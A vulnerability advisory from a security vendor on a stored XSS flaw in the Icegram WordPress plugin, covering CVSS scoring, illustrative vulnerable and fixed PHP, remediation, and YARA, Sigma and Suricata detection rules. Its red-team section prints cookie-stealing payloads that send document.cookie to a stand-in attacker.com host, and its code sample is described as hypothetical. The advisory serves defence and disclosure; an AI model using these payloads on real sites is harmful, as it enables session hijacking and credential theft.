CVE-2025-24542

Executive Summary

CVE-2025-24542 is a Stored Cross-Site Scripting (XSS) vulnerability in the Icegram WordPress plugin, affecting versions up to and including 3.1.31. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into Icegram campaign messages. When an administrator or other user views the affected campaign, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Icegram WordPress plugin, distributed via the official WordPress plugin repository. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a third-party component integrated into WordPress sites. No known malicious packages or backdoored versions have been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to submit a crafted payload.
• Privileges Required (PR): Low (L) – The attacker must have contributor-level access or higher to the WordPress site.
• User Interaction (UI): Required (R) – The victim (e.g., an administrator) must view the affected campaign page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., the victim’s browser).
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to privilege escalation or lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The Icegram plugin allows users to create and manage popup campaigns, notifications, and other on-site messages. The vulnerability exists in the campaign message input fields, where user-supplied data is not properly sanitized or escaped before being stored in the database and later rendered in the WordPress admin interface.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or fails to apply output escaping when displaying campaign content. An attacker can inject HTML/JavaScript payloads into fields such as the campaign headline, body text, or button labels.

Attack Flow:

1. An attacker with contributor-level access logs into WordPress.
2. The attacker creates a new Icegram campaign or edits an existing one.
3. In a text field (e.g., "Headline"), the attacker inserts a payload like <script>alert('XSS')</script>.
4. The plugin stores the payload in the wp_postmeta table without proper sanitization.
5. When an administrator views the campaign list or previews the campaign, the payload executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (Icegram <= 3.1.31):

// In icegram.php or similar file
function render_campaign($campaign_id) {
    $campaign = get_post($campaign_id);
    $headline = get_post_meta($campaign_id, 'icegram_headline', true);
    // No output escaping
    echo "<h2>$headline</h2>";
}

Patched Code (Hypothetical Fix):

function render_campaign($campaign_id) {
    $campaign = get_post($campaign_id);
    $headline = get_post_meta($campaign_id, 'icegram_headline', true);
    // Properly escape output
    echo "<h2>" . esc_html($headline) . "</h2>";
}

The fix involves using esc_html() or wp_kses_post() to sanitize output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Icegram plugin <= 3.1.31
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Icegram > Add New Campaign.
3. In the "Headline" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the campaign.
5. Wait for an administrator to view the campaign list or preview.
6. The admin’s browser will execute the script, sending their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor WordPress admin logs for unusual campaign creation or editing by low-privilege users.
• Look for HTTP requests containing <script> or onerror in campaign-related POST data.
• Use WAF rules to block common XSS patterns in wp-admin/admin-ajax.php or wp-admin/post.php.

Hunting:

• Query the database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_key LIKE 'icegram_%' AND meta_value LIKE '%<script%';
  

• Review Icegram campaign content for suspicious HTML/JavaScript.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress admin interface.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=icegram_save_campaign containing script tags.
• Host:
  • Database entries in wp_postmeta with meta_key starting with icegram_ and meta_value containing <script> or event handlers.
  • Modified Icegram campaign files (e.g., icegram.php) if the attacker gains file write access.
• Logs:
  • WordPress audit logs showing campaign creation/editing by non-admin users.
  • Web server logs with 200 responses to /wp-admin/admin.php?page=icegram followed by POST to /wp-admin/admin-ajax.php.

Detection Engineering

YARA Rule

rule CVE_2025_24542_Icegram_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Icegram campaign meta fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24542"
    strings:
        $xss1 = /icegram_[a-z_]+.*<script[^>]*>.*<\/script>/is
        $xss2 = /icegram_[a-z_]+.*onerror\s*=/is
        $xss3 = /icegram_[a-z_]+.*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Icegram Stored XSS Campaign Creation
id: 8f4b2c1a-3d5e-4f7b-9a1c-2d3e4f5a6b7c
status: experimental
description: Detects creation of Icegram campaigns with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=icegram_save_campaign'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in campaign content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24542 Icegram Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=icegram_save_campaign"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Icegram plugin until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in campaign fields.

Long-Term Fix:

• The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Alternatively, apply a manual patch by modifying the plugin’s rendering functions to use esc_html().

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Regularly audit Icegram campaign content for suspicious entries.

Valters IT – Securing your digital frontier.